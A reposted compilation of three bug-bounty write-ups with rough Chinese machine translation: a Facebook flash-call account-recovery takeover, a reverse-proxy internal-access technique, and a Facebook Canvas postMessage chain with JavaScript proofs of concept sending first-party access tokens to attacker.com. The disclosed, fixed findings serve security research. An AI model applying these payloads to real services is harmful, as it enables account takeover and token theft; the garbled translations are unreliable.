【转载】【漏洞分析】Facebook email disclosure and account takeover

I have a preference for apps over web when it comes to hunting, so in January I decided to dive deep into apk endpoints hoping to find something juicy.

比起网络,我更喜欢应用程序,所以在一月份我决定深入 apk endpoints,希望能找到一些有趣的东西。

I downloaded bunch of FB and messenger apks of different versions, grepped all the endpoints, sorted them and was going through them

我下载了很多不同版本的 FB 和 messenger 应用程序,润滑了所有端点,对它们进行了排序,并正在浏览它们

During the process, I came across another an interesting endpoint named:

在这个过程中,我遇到了另一个有趣的端点,名为:

POST auth/flashcall_account_recovery

POST auth/flashcall _ account _ recovery

The endpoint required 3 parameters:
cuid, encrypted_phone_numbers & cli

端点需要3个参数: cuid,encrypted _ phone number & cli

The CUID basically meant encrypted email/phone and can be easily found.

Just supply victim’s email in

CUID 基本上意味着加密的电子邮件/电话,可以很容易地被找到。只要提供受害者的电子邮件在

POST /recover_accounts

POST/recover_accounts

And in response you’d get the CUID.

作为回应,你会得到 CUID。

Secondly, while going through the Facebook’s password recovery flow.

其次,在浏览 Facebook 的密码恢复流程时。

I noticed that in the endpoint responsible for sending the FB OTP code, there was a parameter named:

我注意到,在负责发送 FB OTP 代码的端点上,有一个参数名为:

should_use_flash_call=false

应该使用 flash call = false

If its false, you’d receive an OTP SMS in your phone and if set true, you receive a phone call instead of OTP for account recovery.

如果是假的,你会收到一个 OTP 短信在你的手机,如果设置为真,你会收到一个电话,而不是 OTP 的帐户恢复。

And in the response it contained the required encrypted phone numbers.

在回复中,它包含了所需的加密电话号码。

Now, I could not figure out what cli was.
The only thing coming to my mind was “cli~command line interface

现在,我不知道 cli 是什么,我脑子里唯一想到的是“ cli ~ 命令行界面”

Unable to figure out, I supplied null value instead.

由于无法确定,我改为提供了空值。

When made the request,
I received the userID belonging to the user, whose email value I supplied as the CUID.

当发出请求时,我收到了属于该用户的 userID,我提供了其电子邮件值作为 CUID。

Meaning an attacker could supply anyone’s email/phone as CUID and in response he would be exactly able to determine who that email belonged to.

这意味着攻击者可以提供任何人的电子邮件/电话作为 CUID,作为回应,他可以准确地确定这封电子邮件属于谁。

I quickly submitted the report and it was triaged and fixed within a day.

我迅速提交了报告,并在一天之内进行了分类和修复。

I was veryyyyy curious about this endpoint as I had never used a “phone call recovery” to reset my password.

我对这个端点非常好奇,因为我从来没有用“电话恢复”来重置我的密码。

Neither it was present in my UI, nor was there much info available regarding this account recovery flow in Google as well as Youtube.

在我的用户界面中没有,也没有很多关于 Google 和 Youtube 账户恢复流程的信息。

So I started to analyze how this recovery flow works by reading the smali files.

因此,我开始通过读取 smali 文件来分析这个恢复流是如何工作的。

The endpoint worked in following manner.

端点以下列方式工作。

  1. I enter my email/phone. 我输入我的电子邮件/电话
  2. Choose phone call recovery option. 选择电话恢复选项
  3. I receive a phone call. 我接到一个电话
  4. That phone number will be automatically supplied to the endpoint as: 该电话号码将自动提供给端点,如下:

POST /flash_call_recovery

POST/flash _ call _ recovery

cuid=x&enc_phone=x&cli=+1xxxxx

2.1.1.2.2.2.2.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3

Turns out in cli parameter we are basically supposed to supply the phone number from which we received the phone call in Step3.

结果在 cli 参数中,我们基本上应该提供我们在 Step3接到电话的电话号码。

Now it all made sense why it was called phone call recovery🤦‍♂️

现在一切都说得通了,为什么它被称为“复苏电话”(phone call recovery)

I guess the cli means something like caller identification.

我猜 cli 的意思是来电显示之类的。

In an ideal scenario when supplied all valid values, we would then receive this following response:

在理想的情况下,当提供所有有效值时,我们将收到以下响应:

{“id”:”UserID”,”nonce”:”XXXX”,"skip_logout_pw_reset":""}

{“ id”: “ UserID”,“ nonce”: “ XXXX”,“ skip _ logout _ pw _ reset”: “”}

This nonce value acts as an OTP code and then will be supplied to the OTP verification endpoint.

此 nonce 值充当 OTP 代码,然后将提供给 OTP 验证端点。

The OTP verification endpoint is then responsible for validating the nonce and setting the new password.

OTP 验证端点负责验证 nonce 并设置新密码。

In POST /flash_call_recovery , I initially tested if supplying another user’s valid cli with victim’s cuid would work, but it didn’t.

在 POST/flash _ call _ recovery 中,我最初测试了将受害者的 cuid 提供给另一个用户的有效 cli 是否可行,但没有成功。

I tried flipping every parameters here and there but non of them worked.

我试着翻转每一个参数,但是没有一个有效。

Now, the only option I was left with was bruteforcing the cli.

现在,我唯一的选择就是强迫他们。

Considering how strict FB is with rate limiting since it even has rate limit implemented on non authentication endpoints I had little to no hope.

考虑到 FB 在速率限制方面有多么严格,因为它甚至在非身份验证端点上实现了速率限制,我几乎没有希望。

But to my absolute surprise, it had no rate limit implemented in this endpoint.

但令我惊讶的是,在这个端点没有实施速率限制。

Hence the attack would work like this:

因此,攻击的工作原理如下:

  1. User supplies victim’s 用户提供受害者的cuid and enc_phone_number in flashcall recovery endpoint 在闪点恢复终端
  2. Bruteforces the 粗暴的强迫cli
  3. Receives the 接收nonce from the response 从反应
  4. Supplies the 供应nonce in OTP verification endpoint and sets a new password for victim’s account. 在 OTP 验证端点,并设置一个新的密码为受害者的帐户

Here’s video demonstrating how a default phone call account recovery process works:

下面的视频演示了一个默认的手机通话账户恢复过程的工作原理:

Timeline of Email Disclosure

邮件泄露时间表

Submitted: April 25, 2021
Triaged: April 27,2021
Fixed:
April 27,2021

提交: 2021年4月25日分诊: 2021年4月27日修复: 2021年4月27日

Timeline of Account Takeover

接管帐户时间表

Submitted: April 29, 2021
Triaged : April 30, 2021 at 3:32 PM
Fixed: April 30, 2021 at 3:49 PM

提交: 2021年4月29日分流: 2021年4月30日下午3:32固定: 2021年4月30日下午3:49

It took me more time to verify the fix then FB took to release the fix, lol🤣

我花了更多的时间来验证修复然后 FB 采取释放修复,哈哈

After thorough investigation, Facebook found no evidence of abuse and the issue was finally closed in September 2.

经过彻底的调查,Facebook 没有发现虐待的证据,这个问题最终在9月2日结束。

【转载】【漏洞分析】How I made 25000 USD in bug bounties with reverse proxy

我是怎样用反向代理服务器赚取25000美元的 bug 赏金的

A proxy server is a go‑between or intermediary server that forwards requests for content from multiple clients to different servers across the Internet. A reverse proxy server is a type of proxy server that typically sits behind the firewall in a private network and directs client requests to the appropriate backend server. A reverse proxy provides an additional level of abstraction and control to ensure the smooth flow of network traffic between clients and servers.

代理服务器是一个中间服务器,它将来自多个客户机的内容请求转发到 Internet 上的不同服务器。反向代理服务器是一种代理服务器,它通常位于私有网络中的防火墙之后,并将客户机请求发送到适当的后端服务器。反向代理提供了额外的抽象和控制级别,以确保客户机和服务器之间网络流量的顺利流动。

Basic reverse proxy 基本的反向代理

Why is used?

为什么要使用?

  • Load balancing 负载平衡 — A reverse proxy server can act as a “traffic cop,” sitting in front of your backend servers and distributing client requests across a group of servers in a manner that maximizes speed and capacity utilization while ensuring no one server is overloaded, which can degrade performance. If a server goes down, the ー反向代理服务器可以充当“交通警察”,位于后端服务器之前,以最大限度提高速度和产能利用率的方式在一组服务器之间分发客户端请求,同时确保没有一个服务器超载,这会降低性能。如果服务器宕机,则load balancer 负载均衡器 redirects traffic to the remaining online servers. 将流量重定向到剩余的在线服务器
  • Web acceleration 网页加速 — Reverse proxies can compress inbound and outbound data, as well as cache commonly requested content, both of which speed up the flow of traffic between clients and servers. They can also perform additional tasks such as SSL encryption to take load off of your web servers, thereby ー反向代理可以压缩入站和出站数据,以及缓存通常要求的内容,这两者都加快了客户端和服务器之间的通信流。他们还可以执行额外的任务,如 SSL 加密,以减轻您的 web 服务器的负载,从而boosting their performance 提高他们的表现.
  • Security and anonymity 安全和匿名 — By intercepting requests headed for your backend servers, a reverse proxy server protects their identities and acts as an additional defense against security attacks. It also ensures that multiple servers can be accessed from a single record locator or URL regardless of the structure of your local area network. ー反向代理服务器通过拦截发往后端服务器的请求,保护这些请求的身份,并作为额外的防御安全攻击的工具。它还确保可以从单个记录定位器或 URL 访问多个服务器,而不管局域网的结构如何

So basically I escalated a REVERSE PROXY to 2 SQLi and 3 RCE on the internal servers and a couple of other issues. There was information disclosure and other problems found.

所以基本上我在内部服务器上将反向代理升级为2 SQLi 和3 RCE,还有其他一些问题。有信息披露和其他问题被发现。

To find the reverse proxy you can use Burp or DNSBIN better to catch the DNS request.

要找到反向代理,你可以使用 Burp 或 DNSBIN 更好地捕捉 DNS 请求。

You need to modify the requests like this

您需要像这样修改请求

GET / HTTP/1.1
Content-Length: 95
Content-Type: application/x-www-form-urlencoded

GET/HTTP/1.1 Content-Length: 95 Content-Type: application/x-www-form-urlencoded

to

GET http://burpcollaborator_url HTTP/1.1
Content-Length: 95
Content-Type: application/x-www-form-urlencoded

1.1 Content-Length: 95 Content-Type: application/x-www-form-urlencoded. GET HTTP://burpcollaborator_url /HTTP/1.1 Content-Length: 95 Content-Type: application/x-www-form-urlencoded

Then you need to check the DNS responses, but filter a lot of WAF and manual pingbacks you get because most of the time is false positive

然后您需要检查 DNS 响应,但过滤大量的 WAF 和手动 pingback,因为大多数时候是假阳性

If you get a DNS response only and not a HTTP one, don’t give up. It means other ports on the same internal portal might be accessible, just not 80 or 443. Or some internal sites cannot be shown by the reverse proxy. You might need to trick with adding an url or subdomain that pretends to be valid.

如果你得到的只是 DNS 响应而不是 HTTP 响应,不要放弃。这意味着可以访问同一个内部门户上的其他端口,而不是80或443。或者一些内部站点无法通过反向代理显示。你可能需要添加一个欺骗的 url 或子域,假装是有效的。

Once you get access to an internal asset, you need to use the reverse proxy and test it like it’s an external website

一旦您获得了对内部资产的访问权,您需要使用反向代理并将其当作外部网站进行测试

Burp trick to be able to browse the internal site from the browser 打嗝的技巧,能够浏览内部网站从浏览器

Of course is a big are to explore and many bypass combinations to try like:

当然是大有探索和许多旁路组合去尝试的样子:

GET https://external_site.com@internal_site:4566 HTTP1/1 etc

Https://external_site.com@internal_site:4566 http/1/1等

I believe this are is not fully explored, even if the bug type is not new. Probably similar issues can be found with another name or attacks work with other techniques. Like a reverse proxy can also be exploited via another url parser issue etc. But I encourage everyone to look more here.

我相信这是没有充分探讨,即使错误类型不是新的。也许类似的问题可以用另一个名字找到,或者用其他技术进行攻击。像反向代理一样,也可以通过另一个 url 解析器问题等加以利用。但我鼓励大家多看看这里。

The attacker just needs to create a special URL (/img/..%2faccount/attacker/), so Nuster applies an “aggressive caching” rule, still, the web app returns a response of self XSS (it sees ‘/account/attacker/`). The response with an XSS payload will be cached by Nuster (with the key: Host + /img/..%2faccount/attacker/), so the attacker will be able to misuse this cache to XSS attack other users of the web application.From the self-XSS, we’ve got a usual XSS.

攻击者只需要创建一个特殊的 URL (/img/。.% 2faccount/攻击者/) ,因此 Nuster 应用了“侵略性缓存”规则,但 web 应用程序仍然返回一个 self XSS 响应(它看到的是“/account/攻击者/”)。带有 XSS 有效负载的响应将由 Nuster (键: Host +/img/)缓存。.% 2 faccount/攻击者/) ,因此攻击者可以滥用此缓存来攻击 web 应用程序的其他用户。从 self-XSS 中,我们得到了一个常用的 XSS。

【转载】【漏洞分析】More secure Facebook Canvas : Tale of $126k worth of bugs that lead to Facebook Account Takeovers

Summery

夏天

Facebook allowed online games owners to host their games/applications in apps.facebook.com for many years now. The idea and technology behind it was that the game ( Flash or HTML5 based) would be hosted in the owner website and later the website page hosting it should be shown to the Facebook user in apps.facebook.com inside a controlled iframe. Since the game is not hosted in Facebook and for best user experience like keeping score and profile data, Facebook had to establish a communication channel with the game owner to verify the identity of the Facebook user for example. This was ensured by using cross windows communication/messaging between apps.facebook.com and the game website inside the iframe. In this blog post, i’ll be discussing multiple vulnerabilities i found in this implementation.

Facebook 已经允许在线游戏的拥有者多年以来一直在 apps.Facebook.com 地区主持他们的游戏/应用程序。其背后的想法和技术是,这款游戏(基于 Flash 或 HTML5)将托管在所有者网站上,随后托管该游戏的网站页面应该显示在一个控制的 iframe 内的 Facebook 用户 apps.Facebook.com。由于游戏不在 Facebook 上托管,为了获得最好的用户体验,比如保存分数和个人资料,Facebook 不得不建立一个与游戏所有者的沟通渠道来验证 Facebook 用户的身份。这是通过使用 iframe 中的 apps.facebook.com 和游戏网站之间的跨窗口通信/消息来确保的。在这篇博文中,我将讨论在这个实现中发现的多个漏洞。

Vulnerabilities potential

潜在的脆弱性

These bugs were found after careful auditing of the client-side code inside apps.facebook.com responsible of verifying what’s coming through this channel. The bugs explained below (and others) allowed me to takeover any Facebook account if the user decided to visit my game page inside apps.facebook.com. The severity of these bugs is high since these were present for years and billions of user and their information could have been compromised easily since this was served from inside Facebook. Facebook confirmed they didn’t see any indicators of previous abuse or exploitation of these bugs.

这些错误是在对负责验证通过这个通道的 apps.facebook.com 内部的客户端代码进行仔细审计后发现的。如果用户决定访问我的游戏页面,下面解释的 bug (以及其他 bug)允许我接管任何 Facebook 账户,只要用户决定访问我的游戏 apps.Facebook.com。这些漏洞的严重程度很高,因为这些漏洞已经存在多年,而且由于这些漏洞是从 Facebook 内部提供的,数十亿用户和他们的信息可能很容易被泄露。确认他们没有看到任何先前滥用或利用这些漏洞的迹象。

For Researchers

供研究人员使用

Before explaining the actual bugs below, i tried to show the way i decomposed the code and a simplified path to track the flow of the message data and how its components will be used. I probably didn’t left much to dig but i hope the information shared could help you in your research. If you are only interested in the bugs themselves then jump to each bug section part.

在解释下面的实际错误之前,我试图展示我分解代码的方法和一个简化的路径来跟踪消息数据流以及它的组件将如何使用。我可能没有留下太多可挖掘的信息,但我希望分享的信息可以帮助你的研究。如果您只对 bug 本身感兴趣,那么就跳到每个 bug 部分。

Description

描述

So far we know that the game page being served inside an iframe in apps.facebook.com is communicating with the parent window to ask Facebook to do some actions. Among the requested actions , for example , is to show a dialog to the user that would allow him to confirm the usage of the Facebook application owned by the game developers which would help me to identify you and get some information from an access token that they’ll receive if the user decided to user the application. The script responsible of receiving the cross window messages, interpreting them and understanding the action demanded is below ( only necessary parts are shown and as they were before the bugs were fixed ) :

到目前为止,我们知道在 apps.Facebook.com 的 iframe 中提供的游戏页面正在与父窗口通信,要求 Facebook 做一些操作。例如,在要求的操作中,向用户显示一个对话框,允许他确认游戏开发者拥有的 Facebook 应用程序的使用情况,这将帮助我识别你,并从一个访问令牌中获取一些信息,如果用户决定使用该应用程序,他们将收到这些信息。下面的脚本负责接收跨窗口消息,解释它们并理解需要的操作(只显示必要的部分,并且在修复 bug 之前是这样的) :

__d("XdArbiter", ...
            handleMessage: function(a, b, e) {
                d("Log").debug("XdArbiter at " + (window.name != null && window.name !== "" ? window.name : window == top ? "top" : "[no name]") + " handleMessage " + JSON.stringify(a));
                if (typeof a === "string" && /^FB_RPC:/.test(a)) {
                    k.enqueue([a.substring(7), {
                        origin: b,
                        source: e || i[h]
                    }]);
           ...
            send: function(a, b, e) {
                var f = e in i ? e : h;
                a = typeof a === "string" ? a : c("QueryString").encode(a);
                b = b;
                try {
                    d("SecurePostMessage").sendMessageToSpecificOrigin(b, a, e)
                } catch (a) {
                    d("Log").error("XdArbiter: Proxy for %s not available, page might have been navigated: %s", f, a.message), delete i[f]
                }
                return !0
            }
...

    window.addEventListener("message", function(a) {
        if (a.data.xdArbiterSyn) d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
            xdArbiterAck: !0
        });
        else if (a.data.xdArbiterRegister) {
            var b = l.register(a.source, a.data.xdProxyName, a.data.origin, a.origin);
            d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
                xdArbiterRegisterAck: b
            })
        } else a.data.xdArbiterHandleMessage && l.handleMessage(a.data.message, a.data.origin, a.source)
}), 98);

__d("JSONRPC", ...
        c.read = function(a, c) {
            ...
            e = this.local[a.method];
            try {
                e = e.apply(c || null, a.params);
                typeof e !== "undefined" && g("result", e)
            ...
    e.exports = a
}), null);

__d("PlatformAppController", ...
function f(a, b, e) { ...
         c("PlatformDialogClient").async(f, a, function(d) { ... b(d) });
}...
t.local.showDialog = f;

...

t = new(c("JSONRPC"))(function(a, b) {
            var d = b.origin || k;
            b = b.source;
            if (b == null) {
                var e = c("ge")(j);
                b = e.contentWindow
            }
            c("XdArbiter").send("FB_RPC:" + a, b, d)
        }
...

}), null);

__d("PlatformDialogClient", ...
function async(a, b, e) {
        var f = c("guid")(),
            g = b.state;
        b.state = f;
        b.redirect_uri = new(c("URI"))("/dialog/return/arbiter").setSubdomain("www").setFragment(c("QueryString").encode({
            origin: b.redirect_uri
        })).getQualifiedURI().toString();
        b.display = "async";
        j[f] = {
            callback: e || function() {},
            state: g
        };
        e = "POST";
        d("AsyncDialog").send(new(c("AsyncRequest"))(this.getURI(a, b)).setMethod(e).setReadOnly(!0).setAbortHandler(k(f)).setErrorHandler(l(f)))
    }
...
function getURI(a, b) {
        if (b.version) {
            var d = new(c("URI"))("/" + b.version + "/dialog/" + a);
            delete b.version;
            return d.addQueryData(b)
        }
        return c("PlatformVersioning").versionAwareURI(new(c("URI"))("/dialog/" + a).addQueryData(b))
    }

}), 98);

To simplify the code for you to understand the flow in case someone decides to dig more into it and looks for more bugs :

为了简化代码,以便你能够理解流程,以防有人决定深入挖掘代码并寻找更多的 bug:

Iframe sends message to parent => Message event dispatched in XdArbiter => Message handler function passes data to handleMessage function => “enqueue” function passes to JSONRPC => JSONRPC.read calls this.local.showDialog function in PlatformAppController => function checks message and if all valid, call PlatformDialogClient => PlatformDialogClient.async sends a POST request to apps.facebook.com/dialog/oauth , returned access_token would be passed to XdArbiter.send function ( few steps were skipped ) => XdArbiter.send would send a cross window message to the iframe window => Event dispatched in iframe window containing Facebook user access_token

在 XdArbiter = > Message handler 函数中,iframesend Message to parent = > Message Event delayed in XdArbiter = > Message handler function passes data to handleMessage function = > “ enqueue”function passes to JSONRPC = > JSONRPC.read calls this.local.showDialog function in PlatformAppController = > function checking Message and if all valid,call platformdialoggclient = > platformasyngoaldialog.c 向 apps.Facebook.com/dialog/oauth 发送 POST 请求,返回的访问权限将传递给 XdArbiter.send 函数(跳过了几个步骤) = > xbiter.send 将向 Iframe 窗口发送一个跨窗口消息,窗口中包含 Facebook 用户访问权限

Below an example of a simple code to construct the message to be sent to apps.facebook.com from the iframe, a similar one would be send from any game page using the Facebook Javascript SDK but with more unnecessary parts:

下面是一个简单的代码示例,用来构造要从 iframe 发送给 apps.Facebook.com 的消息,类似的代码可以从任何使用 Facebook Javascript SDK 的游戏页面发送,但是有更多不必要的部分:

 msg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","redirect_uri":"https://ysamm.com/callback","app_id":"APP_ID","client_id":"APP_ID","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + msg , origin: IFRAME_ORIGIN}
window.parent.postMessage(fullmsg,"*");

Interested parts to manipulate are :
IFRAME_ORIGIN, which is the one to be used in the redirect_uri parameter send with the POST request to apps.facebook.com/dialog/oauth to be verified server-side that it’s a domain owned by the application requesting an access_token, then would be used as targetOrigin in postMessage to send a cross window message to the iframe with the access_token
– Keys and values of the object inside params , there are the parameters to be appended to apps.facebook.com/dialog/oauth. Most interesting ones are redirect_uri ( which can replace IFRAME_ORIGIN in the POST request in some cases ) and APP_ID

感兴趣的操作部分是:-IFRAME _ origin,这是一个用于 redirect _ uri 参数发送的 POST 请求被验证的服务器端的 apps.facebook.com/dialog/oauth ,它是一个域的应用程序拥有的请求访问令牌,然后将用作 postMessage 的 targetOrigin 发送一个跨窗口消息与 access _ 令牌键和对象内部参数值的 IFRAME,有参数被附加到 apps.facebook.com/dialog/oauth。最有趣的是 redirect _ uri (在某些情况下可以替换 POST 请求中的 IFRAME _ origin)和 APP _ id

Attacks vectors/scenarios

攻击载体/场景

What we’ll do here is to try to instead of requesting an access token for the game application we own, we’ll try to get one of a Facebook first party application like Instagram. What’s holding us back is although we control the IFRAME_ORIGIN and APP_ID which we can set to match the Instagram application as http://www.instagram.com and 124024574287414, later the message sent to the iframe containing the first party access token would have a targetOrigin in postMessage as http://www.instagram.com which is not our window origin. Facebook did a good job protecting against these attacks ( i’ll argue though to why not using the origin from the event message received and matching app_id to the hosted game instead of giving us total freedom which could have prevented all these bugs ), but apparently they left some weaknesses that could have been exploited for many years.

我们在这里要做的不是为我们拥有的游戏应用程序申请访问令牌,而是尝试获得一个像 Instagram 这样的 Facebook 第一方应用程序。尽管我们可以设置 IFRAME origin 和 APP id 来匹配 Instagram 应用程序的 http://www.Instagram.com 和124024574287414,但是之后发送给包含第一方访问令牌的 IFRAME 的消息在 postMessage 中会有一个 targetOrigin,这不是我们的窗口 http://www.Instagram.com。Facebook 在防御这些攻击方面做得很好(我想说的是为什么不使用收到的事件消息的来源,并将 app _ id 与托管的游戏进行匹配,而不是给予我们完全的自由,这本可以避免所有这些 bug) ,但是显然他们留下了一些可能被利用多年的弱点。

Bug 1: Parameter Pollution, it was checked server-side and we definitely should trust it

缺陷1: 参数污染,它是检查服务器端,我们绝对应该信任它

This bug occurs due to the fact that the POST request to https://apps.facebook.com/dialog/oauth when constructed from the received message from the iframe, could contain user controlled parameters.
All parameters are checked in the client-side ( PlatformAppController, showDialog method and ,PlatformDialogClient.async method) and duplicate parameters will be removed in PlatformAppController , also AsyncRequest module seems to be doing some filtering ( removing parameters that already exist but brackets were appended to it ).

However due to some missing checking in the server-side, a parameter name set to PARAM[random would replace a previously set parameter PARAM ; for example redirect_uri[0 parameter value would replace redirect_uri. We can abuse this as follow :
1) Set APP_ID to be the Instagram application id.
2) The redirect_uri will be constructed in PlatformDialogClient.async (Line 72 ) using IFRAME_ORIGIN ( will end up https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com ) , which would be sent matching our iframe window origin but won’t be used at all as explained below.
3) Set redirect_uri[0 in params as an additional parameter ( order matters so it must be after redirect_uri ) to be https://www.instagram.com/accounts/signup/ which is a valid redirect_uri for the Instagram applicaiton.
The URL of the POST request end up being something like this:

这个错误是因为当从 iframe 接收到的消息构造 POST 请求到 https://apps.facebook.com/dialog/oauth 时,可能包含用户控制的参数。所有参数都在客户端检查(PlatformAppController、 showDialog 方法和 PlatformDialogClient.async 方法) ,重复的参数将在 PlatformAppController 中删除,AsyncRequest 模块似乎正在进行一些过滤(删除已经存在的参数,但添加了括号)。然而,由于服务器端缺少检查,设置为 PARAM [ random 的参数名将替换以前设置的参数 PARAM; 例如 redirect _ uri [0参数值将替换 redirect _ uri。我们可以这样滥用: 1)设置 APP _ id 为 Instagram 应用程序 id。2) redirect _ uri 将使用 IFRAME _ origin 在 PlatformDialogClient.async (第72行)中构建,它将被发送到与 IFRAME 窗口原点相匹配的 https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com ,但不会像下面解释的那样被使用。3)设置 redirect _ uri [0 in params 作为一个额外的参数(顺序很重要,所以必须在 redirect _ uri 之后)为 https://www.Instagram.com/accounts/signup/ ,这是 Instagram 应用程序的一个有效 redirect _ uri。请求的 URL 如下所示:

https://apps.facebook.com/dialog/oauth?state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com&app_id=124024574287414&client_id=124024574287414&response_type=token&redirect_uri[0=https://www.instagram.com/accounts/signup/

The request would end up being successful and returning a first party access token since redirect_uri[0 replaces redirect_uri and it’s a valid redirect_uri. In the client side though, the logic is if an access_token was received it means that the origin used to construct the redirect_uri did work with the app_id and for that it should trust it and use to send the message to the iframe, behind the scenes though redirect_uri[0 was used and not redirect_uri ( Cool right?)

Proof of concept

因为 redirect _ uri [0替换了 redirect _ uri,而且它是一个有效的 redirect _ uri,所以请求最终会成功并返回一个第一方访问令牌。但是在客户端,逻辑是,如果接收到一个访问令牌,这意味着用于构造 redirect _ uri 的原点确实与 app _ id 一起工作,因此它应该信任它,并用它将消息发送到 iframe,在幕后虽然 redirect _ uri [0被使用而不是 redirect _ uri (Cool right?))概念验证

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","redirect_uri":"https://attacker.com/callback","app_id":"124024574287414","client_id":"124024574287414","response_type":"token","redirect_uri[0":"https://www.instagram.com/accounts/signup/"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg , origin: "https://attacker.com"}
window.parent.postMessage(fullmsg,"*");

Bug 2: Why bothering, Origin is undefined

为什么这么麻烦,起源还没有定义

The main problem for this one is that /dialog/oauth endpoint would accept https://www.facebook.com/dialog/return/arbiter as a valid redirect_uri ( without a valid origin in the fragment part ) for third-party applications and some first-party ones.
The second problem is that this behaviour to occur ( no origin in the fragment part ), the message sent from the iframe to apps.facebook.com should not contain a.data.origin ( IFRAME_ORIGIN is undefined ) , however this same value would be used later to send a cross window message to the iframe, if null or undefined is used, the message won’t be received.
Likely, i noticed that JSONRPC function would always receive a not null origin of the postMessage ( Line 55 ) . Since b.origin is undefined or null, k would be chosen. k could be set by the attacker by first registering a valid origin via c(“Arbiter”).subscribe(“XdArbiter/register”) which could be informed if our message had xdArbiterRegister and a specified origin . Before “k” variable is set, the supplied origin would be checked first if it belongs to the attacker application using “/platform/app_owned_url_check/” endpoint.
This is wrong and the second problem occurs here since we can’t ensure that the user in the next cross origin message sent from the iframe would supply the same APP_ID.

对于第三方应用程序和一些第一方应用程序来说,/dialog/oauth 端点将接受 https://www.facebook.com/dialog/return/arbiter 作为一个有效的 redirect _ uri (片段部分没有有效的起点)。第二个问题是,这种行为会发生(片段部分没有原点) ,从 IFRAME 发送到 apps.facebook.com 的消息不应该包含 a.data.origin (IFRAME _ origin 未定义) ,但是这个相同的值稍后会被用来向 IFRAME 发送跨窗口消息,如果使用 null 或未定义,消息将不会被接收。很可能,我注意到 JSONRPC 函数总是会接收到一个非空的 postMessage 原点(第55行)。由于 b.origin 未定义或为 null,因此将选择 k。攻击者可以通过 c 注册一个有效的源(“仲裁者”)来设置 k。订阅(“ XdArbiter/register”) ,如果我们的消息具有 xdArbiterRegister 和指定的来源,就可以通知它。在设置“ k”变量之前,如果提供的原点属于使用“/platform/app _ owned _ url _ check/”端点的攻击者应用程序,那么将首先检查它。这是错误的,这里发生了第二个问题,因为我们不能确保从 iframe 发送的下一个跨源消息中的用户将提供相同的 APP _ id。

Not all first-party applications are vulnerable to this though. I used the Facebook Watch for Android application or Portal to get a first party access_token.

不过,并非所有第一方应用程序都容易受到这种攻击。我用 Facebook Watch for Android 应用程序或 Portal 获得了第一方访问令牌。

The URL of the POST request would be something like this:

请求的 URL 如下所示:

https://apps.facebook.com/dialog/oauth?state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter&app_id=1348564698517390&client_id=1348564698517390&response_type=token

Proof Of Concept

概念证明

window.parent.postMessage({xdArbiterRegister:true,origin:"https://attacker.com"},"*")

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","app_id":"1348564698517390","client_id":"1348564698517390","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg}
window.parent.postMessage(fullmsg,"*");

Bug 3: Total Chaos, version can’t be harmful

完全混乱,版本不会有害

This bug one occurs in PlatformDialogClient.getURI function which is responsible of setting the API version before /dialog/oauth endpoint. This function didn’t check for double dots or added paths and directly constructed a URI object to be used later to send an XHR request ( Line 86 ).
The version property in params passed in the cross window message sent to apps.facebook.com could be set to api/graphql/?doc_id=DOC_ID&variables=VAR# and would eventually lead to a POST request sent to the GraphQL endpoint with valid user CSRF token.

这个 bug 出现在 PlatformDialogClient.getURI 函数中,该函数负责在/dialog/oauth 端点之前设置 API 版本。这个函数没有检查双点或添加路径,而是直接构造了一个 URI 对象,以便稍后用于发送 XHR 请求(第86行)。传递给 apps.facebook.com 的跨窗口消息中的参数中的 version 属性可以设置为 api/graphql/?DOC _ id = DOC _ id & variables = VAR # ,并最终导致使用有效的用户 CSRF 令牌向 GraphQL 端点发送 POST 请求。

DOC_ID and VAR could be set to an id of a GraphQL Mutation to add a phone number to the attacount, and the variables of this mutation.

DOC _ id 和 VAR 可以设置为一个 GraphQL Mutation 的 id,以便向 attacount 添加一个电话号码,以及此变异的变量。

The URL of the POST request would be something like this:

请求的 URL 如下所示:

https://apps.facebook.com/api/graphql?doc_id=DOC_ID&variables=VAR&?/dialog/oauth&state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter#origin=attacker&app_id=1348564698517390&client_id=1348564698517390&response_type=token

Proof Of Concept

概念证明

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","client_id":"APP_ID","response_type":"token","version":"api/graphql?doc_id=DOC_ID&variables=VAR&"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg , origin: "https://attacker.com"}
window.parent.postMessage(fullmsg,"*");

Timeline

时间轴

  1. Aug 4, 2021— Report Sent  2021年8月4日ー发送报告
    Aug 4, 2021—  Acknowledged by Facebook 2021年8月4日ー Facebook 承认
    Aug 6, 2021— Fixed by Facebook 2021年8月6日ー Facebook 修复
    Sep 2, 2021 — $42000 bounty awarded by Facebook. 2021年9月2日ー4.2万美元 Facebook 悬赏
  2. Aug 9, 2021— Report Sent  2021年8月9日ー发送报告
    Aug 9, 2021—  Acknowledged by Facebook 2021年8月9日ー Facebook 承认
    Aug 12, 2021— Fixed by Facebook 2021年8月12日ー Facebook 修复
    Aug 31, 2021 — $42000 bounty awarded by Facebook. 2021年8月31日ー Facebook 奖励4.2万美元
  3. Aug 12, 2021— Report Sent  2021年8月12日ー发送报告
    Aug 13, 2021—  Acknowledged by Facebook 2021年8月13日ー Facebook 承认
    Aug 17, 2021— Fixed by Facebook 2021年8月17日ー Facebook 修复
